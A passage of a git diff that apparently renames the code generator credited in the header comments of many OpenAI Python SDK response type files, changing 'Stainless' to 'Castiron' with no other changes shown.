+++ b/src/openai/types/responses/response_function_call_output_item_list.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List
from typing_extensions import TypeAlias
diff --git a/src/openai/types/responses/response_function_call_output_item_list_param.py b/src/openai/types/responses/response_function_call_output_item_list_param.py
index 8c286d3cf0..162f064c41 100644
--- a/src/openai/types/responses/response_function_call_output_item_list_param.py
+++ b/src/openai/types/responses/response_function_call_output_item_list_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_function_call_output_item_param.py b/src/openai/types/responses/response_function_call_output_item_param.py
index 2a703cac1e..63414fee26 100644
--- a/src/openai/types/responses/response_function_call_output_item_param.py
+++ b/src/openai/types/responses/response_function_call_output_item_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_function_shell_call_output_content.py b/src/openai/types/responses/response_function_shell_call_output_content.py
index dae48f14da..34dfc4b3ec 100644
--- a/src/openai/types/responses/response_function_shell_call_output_content.py
+++ b/src/openai/types/responses/response_function_shell_call_output_content.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/responses/response_function_shell_call_output_content_param.py b/src/openai/types/responses/response_function_shell_call_output_content_param.py
index 4d8ea70d08..6029b59134 100644
--- a/src/openai/types/responses/response_function_shell_call_output_content_param.py
+++ b/src/openai/types/responses/response_function_shell_call_output_content_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_function_shell_tool_call.py b/src/openai/types/responses/response_function_shell_tool_call.py
index c9572c9644..eb8d9fd897 100644
--- a/src/openai/types/responses/response_function_shell_tool_call.py
+++ b/src/openai/types/responses/response_function_shell_tool_call.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/responses/response_function_shell_tool_call_output.py b/src/openai/types/responses/response_function_shell_tool_call_output.py
index b3346b8650..ddab97c973 100644
--- a/src/openai/types/responses/response_function_shell_tool_call_output.py
+++ b/src/openai/types/responses/response_function_shell_tool_call_output.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/responses/response_function_tool_call.py b/src/openai/types/responses/response_function_tool_call.py
index 5a352a208f..777b8ce664 100644
--- a/src/openai/types/responses/response_function_tool_call.py
+++ b/src/openai/types/responses/response_function_tool_call.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/responses/response_function_tool_call_item.py b/src/openai/types/responses/response_function_tool_call_item.py
index c8a4488949..ef153c02c3 100644
--- a/src/openai/types/responses/response_function_tool_call_item.py
+++ b/src/openai/types/responses/response_function_tool_call_item.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_function_tool_call_output_item.py b/src/openai/types/responses/response_function_tool_call_output_item.py
index a3a59455b4..3b19d3ec9b 100644
--- a/src/openai/types/responses/response_function_tool_call_output_item.py
+++ b/src/openai/types/responses/response_function_tool_call_output_item.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/responses/response_function_tool_call_param.py b/src/openai/types/responses/response_function_tool_call_param.py
index c043caf4cd..b4909d99c6 100644
--- a/src/openai/types/responses/response_function_tool_call_param.py
+++ b/src/openai/types/responses/response_function_tool_call_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_function_web_search.py b/src/openai/types/responses/response_function_web_search.py
index 3584992b7d..44c6dd7a99 100644
--- a/src/openai/types/responses/response_function_web_search.py
+++ b/src/openai/types/responses/response_function_web_search.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/responses/response_function_web_search_param.py b/src/openai/types/responses/response_function_web_search_param.py
index 9e31a46be1..122ea72ad0 100644
--- a/src/openai/types/responses/response_function_web_search_param.py
+++ b/src/openai/types/responses/response_function_web_search_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_image_gen_call_completed_event.py b/src/openai/types/responses/response_image_gen_call_completed_event.py
index f6ce9d0fd8..0bceb7dbf6 100644
--- a/src/openai/types/responses/response_image_gen_call_completed_event.py
+++ b/src/openai/types/responses/response_image_gen_call_completed_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_image_gen_call_generating_event.py b/src/openai/types/responses/response_image_gen_call_generating_event.py
index 8e3026d0dc..134a3b2b00 100644
--- a/src/openai/types/responses/response_image_gen_call_generating_event.py
+++ b/src/openai/types/responses/response_image_gen_call_generating_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_image_gen_call_in_progress_event.py b/src/openai/types/responses/response_image_gen_call_in_progress_event.py
index 60726a22b4..7aadf168df 100644
--- a/src/openai/types/responses/response_image_gen_call_in_progress_event.py
+++ b/src/openai/types/responses/response_image_gen_call_in_progress_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_image_gen_call_partial_image_event.py b/src/openai/types/responses/response_image_gen_call_partial_image_event.py
index 289d5d44c0..7094f4b5fe 100644
--- a/src/openai/types/responses/response_image_gen_call_partial_image_event.py
+++ b/src/openai/types/responses/response_image_gen_call_partial_image_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_in_progress_event.py b/src/openai/types/responses/response_in_progress_event.py
index 9d9bbd94b0..b4fc8d4723 100644
--- a/src/openai/types/responses/response_in_progress_event.py
+++ b/src/openai/types/responses/response_in_progress_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_includable.py b/src/openai/types/responses/response_includable.py
index 675c83405a..6d9bb6813c 100644
--- a/src/openai/types/responses/response_includable.py
+++ b/src/openai/types/responses/response_includable.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/responses/response_incomplete_event.py b/src/openai/types/responses/response_incomplete_event.py
index ef99c5f0b2..3c9ccf2bd1 100644
--- a/src/openai/types/responses/response_incomplete_event.py
+++ b/src/openai/types/responses/response_incomplete_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_input.py b/src/openai/types/responses/response_input.py
index e2180dec05..5f1545723d 100644
--- a/src/openai/types/responses/response_input.py
+++ b/src/openai/types/responses/response_input.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List
from typing_extensions import TypeAlias
diff --git a/src/openai/types/responses/response_input_audio.py b/src/openai/types/responses/response_input_audio.py
index f362ba4133..07fc82285c 100644
--- a/src/openai/types/responses/response_input_audio.py
+++ b/src/openai/types/responses/response_input_audio.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_input_audio_param.py b/src/openai/types/responses/response_input_audio_param.py
index 0be935c54d..088772becb 100644
--- a/src/openai/types/responses/response_input_audio_param.py
+++ b/src/openai/types/responses/response_input_audio_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_input_content.py b/src/openai/types/responses/response_input_content.py
index 1726909a17..d2d6498106 100644
--- a/src/openai/types/responses/response_input_content.py
+++ b/src/openai/types/responses/response_input_content.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Annotated, TypeAlias
diff --git a/src/openai/types/responses/response_input_content_param.py b/src/openai/types/responses/response_input_content_param.py
index 7791cdfd8e..b565f50bb5 100644
--- a/src/openai/types/responses/response_input_content_param.py
+++ b/src/openai/types/responses/response_input_content_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_input_file.py b/src/openai/types/responses/response_input_file.py
index 9d6557dd2d..6337f4e0f1 100644
--- a/src/openai/types/responses/response_input_file.py
+++ b/src/openai/types/responses/response_input_file.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_input_file_content.py b/src/openai/types/responses/response_input_file_content.py
index 0fb34b3791..685d751626 100644
--- a/src/openai/types/responses/response_input_file_content.py
+++ b/src/openai/types/responses/response_input_file_content.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_input_file_content_param.py b/src/openai/types/responses/response_input_file_content_param.py
index 08583bd638..07c7f9ffe7 100644
--- a/src/openai/types/responses/response_input_file_content_param.py
+++ b/src/openai/types/responses/response_input_file_content_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_input_file_param.py b/src/openai/types/responses/response_input_file_param.py
index a0af36bcfe..a78fe28623 100644
--- a/src/openai/types/responses/response_input_file_param.py
+++ b/src/openai/types/responses/response_input_file_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_input_image.py b/src/openai/types/responses/response_input_image.py
index fa0bd4b1a7..83e2dac738 100644
--- a/src/openai/types/responses/response_input_image.py
+++ b/src/openai/types/responses/response_input_image.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_input_image_content.py b/src/openai/types/responses/response_input_image_content.py
index 741abb6193..1ebbf2e677 100644
--- a/src/openai/types/responses/response_input_image_content.py
+++ b/src/openai/types/responses/response_input_image_content.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_input_image_content_param.py b/src/openai/types/responses/response_input_image_content_param.py
index f6531ff10e..3fa73ca2df 100644
--- a/src/openai/types/responses/response_input_image_content_param.py
+++ b/src/openai/types/responses/response_input_image_content_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_input_image_param.py b/src/openai/types/responses/response_input_image_param.py
index 8c75feb85f..080c1c2bd8 100644
--- a/src/openai/types/responses/response_input_image_param.py
+++ b/src/openai/types/responses/response_input_image_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_input_item.py b/src/openai/types/responses/response_input_item.py
index df86d0f065..92cb24559c 100644
--- a/src/openai/types/responses/response_input_item.py
+++ b/src/openai/types/responses/response_input_item.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/responses/response_input_item_param.py b/src/openai/types/responses/response_input_item_param.py
index a605441337..7391547d04 100644
--- a/src/openai/types/responses/response_input_item_param.py
+++ b/src/openai/types/responses/response_input_item_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_input_message_content_list.py b/src/openai/types/responses/response_input_message_content_list.py
index 99b7c10f12..976accde3b 100644
--- a/src/openai/types/responses/response_input_message_content_list.py
+++ b/src/openai/types/responses/response_input_message_content_list.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List
from typing_extensions import TypeAlias
diff --git a/src/openai/types/responses/response_input_message_content_list_param.py b/src/openai/types/responses/response_input_message_content_list_param.py
index 080613df0d..d83b9179dc 100644
--- a/src/openai/types/responses/response_input_message_content_list_param.py
+++ b/src/openai/types/responses/response_input_message_content_list_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_input_message_item.py b/src/openai/types/responses/response_input_message_item.py
index 788c92c9bd..e818259888 100644
--- a/src/openai/types/responses/response_input_message_item.py
+++ b/src/openai/types/responses/response_input_message_item.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_input_param.py b/src/openai/types/responses/response_input_param.py
index c75ed5825d..94e2449f0c 100644
--- a/src/openai/types/responses/response_input_param.py
+++ b/src/openai/types/responses/response_input_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_input_text.py b/src/openai/types/responses/response_input_text.py
index 05244edc25..028f506ee1 100644
--- a/src/openai/types/responses/response_input_text.py
+++ b/src/openai/types/responses/response_input_text.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_input_text_content.py b/src/openai/types/responses/response_input_text_content.py
index bd43a5e759..354b92d891 100644
--- a/src/openai/types/responses/response_input_text_content.py
+++ b/src/openai/types/responses/response_input_text_content.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_input_text_content_param.py b/src/openai/types/responses/response_input_text_content_param.py
index e1956b8f06..3044469711 100644
--- a/src/openai/types/responses/response_input_text_content_param.py
+++ b/src/openai/types/responses/response_input_text_content_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_input_text_param.py b/src/openai/types/responses/response_input_text_param.py
index d82fd8ed1f..494be064d0 100644
--- a/src/openai/types/responses/response_input_text_param.py
+++ b/src/openai/types/responses/response_input_text_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_item.py b/src/openai/types/responses/response_item.py
index 9ae6c18fc5..fedfb5db0e 100644
--- a/src/openai/types/responses/response_item.py
+++ b/src/openai/types/responses/response_item.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/responses/response_item_list.py b/src/openai/types/responses/response_item_list.py
index e2b5a1a961..2f8db0e9a5 100644
--- a/src/openai/types/responses/response_item_list.py
+++ b/src/openai/types/responses/response_item_list.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_local_environment.py b/src/openai/types/responses/response_local_environment.py
index 6467fcb4c5..a8f8ecae99 100644
--- a/src/openai/types/responses/response_local_environment.py
+++ b/src/openai/types/responses/response_local_environment.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_mcp_call_arguments_delta_event.py b/src/openai/types/responses/response_mcp_call_arguments_delta_event.py
index 303ef494a3..54386165d0 100644
--- a/src/openai/types/responses/response_mcp_call_arguments_delta_event.py
+++ b/src/openai/types/responses/response_mcp_call_arguments_delta_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_mcp_call_arguments_done_event.py b/src/openai/types/responses/response_mcp_call_arguments_done_event.py
index 59e71be77c..a70d0b84bf 100644
--- a/src/openai/types/responses/response_mcp_call_arguments_done_event.py
+++ b/src/openai/types/responses/response_mcp_call_arguments_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_mcp_call_completed_event.py b/src/openai/types/responses/response_mcp_call_completed_event.py
index bee54d4039..29719b8e46 100644
--- a/src/openai/types/responses/response_mcp_call_completed_event.py
+++ b/src/openai/types/responses/response_mcp_call_completed_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_mcp_call_failed_event.py b/src/openai/types/responses/response_mcp_call_failed_event.py
index cb3130b155..7241d6f60b 100644
--- a/src/openai/types/responses/response_mcp_call_failed_event.py
+++ b/src/openai/types/responses/response_mcp_call_failed_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_mcp_call_in_progress_event.py b/src/openai/types/responses/response_mcp_call_in_progress_event.py
index 7cf6a1decf..73a3b452c2 100644
--- a/src/openai/types/responses/response_mcp_call_in_progress_event.py
+++ b/src/openai/types/responses/response_mcp_call_in_progress_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_mcp_list_tools_completed_event.py b/src/openai/types/responses/response_mcp_list_tools_completed_event.py
index 685ba59c4d..a77549452a 100644
--- a/src/openai/types/responses/response_mcp_list_tools_completed_event.py
+++ b/src/openai/types/responses/response_mcp_list_tools_completed_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_mcp_list_tools_failed_event.py b/src/openai/types/responses/response_mcp_list_tools_failed_event.py
index c5fa54d231..86928cdbcb 100644
--- a/src/openai/types/responses/response_mcp_list_tools_failed_event.py
+++ b/src/openai/types/responses/response_mcp_list_tools_failed_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_mcp_list_tools_in_progress_event.py b/src/openai/types/responses/response_mcp_list_tools_in_progress_event.py
index 403fdbdeb3..4ef204e6ed 100644
--- a/src/openai/types/responses/response_mcp_list_tools_in_progress_event.py
+++ b/src/openai/types/responses/response_mcp_list_tools_in_progress_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_output_item.py b/src/openai/types/responses/response_output_item.py
index 046a0a3cfb..835a184590 100644
--- a/src/openai/types/responses/response_output_item.py
+++ b/src/openai/types/responses/response_output_item.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/responses/response_output_item_added_event.py b/src/openai/types/responses/response_output_item_added_event.py
index a42f6281e3..f8ed8ae326 100644
--- a/src/openai/types/responses/response_output_item_added_event.py
+++ b/src/openai/types/responses/response_output_item_added_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_output_item_done_event.py b/src/openai/types/responses/response_output_item_done_event.py
index 50b99da569..7609337c1c 100644
--- a/src/openai/types/responses/response_output_item_done_event.py
+++ b/src/openai/types/responses/response_output_item_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_output_message.py b/src/openai/types/responses/response_output_message.py
index 760d72d58d..d041df6415 100644
--- a/src/openai/types/responses/response_output_message.py
+++ b/src/openai/types/responses/response_output_message.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/responses/response_output_message_param.py b/src/openai/types/responses/response_output_message_param.py
index 09fec5bd58..4552d9bf1f 100644
--- a/src/openai/types/responses/response_output_message_param.py
+++ b/src/openai/types/responses/response_output_message_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_output_refusal.py b/src/openai/types/responses/response_output_refusal.py
index 6bce26af74..54e727104f 100644
--- a/src/openai/types/responses/response_output_refusal.py
+++ b/src/openai/types/responses/response_output_refusal.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_output_refusal_param.py b/src/openai/types/responses/response_output_refusal_param.py
index 02bdfdcf4f..b5687f1912 100644
--- a/src/openai/types/responses/response_output_refusal_param.py
+++ b/src/openai/types/responses/response_output_refusal_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_output_text.py b/src/openai/types/responses/response_output_text.py
index 2386fcb3c0..7bcfe59c4d 100644
--- a/src/openai/types/responses/response_output_text.py
+++ b/src/openai/types/responses/response_output_text.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/responses/response_output_text_annotation_added_event.py b/src/openai/types/responses/response_output_text_annotation_added_event.py
index b9dc262150..7bae8b3518 100644
--- a/src/openai/types/responses/response_output_text_annotation_added_event.py
+++ b/src/openai/types/responses/response_output_text_annotation_added_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/responses/response_output_text_param.py b/src/openai/types/responses/response_output_text_param.py
index bc30fbcd8e..abcd16ec81 100644
--- a/src/openai/types/responses/response_output_text_param.py
+++ b/src/openai/types/responses/response_output_text_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/responses/response_prompt.py b/src/openai/types/responses/response_prompt.py
index e3acacf63a..37fd27d9d3 100644
--- a/src/openai/types/responses/response_prompt.py
+++ b/src/openai/types/responses/response_prompt.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, Union, Optional
from typing_extensions import TypeAlias
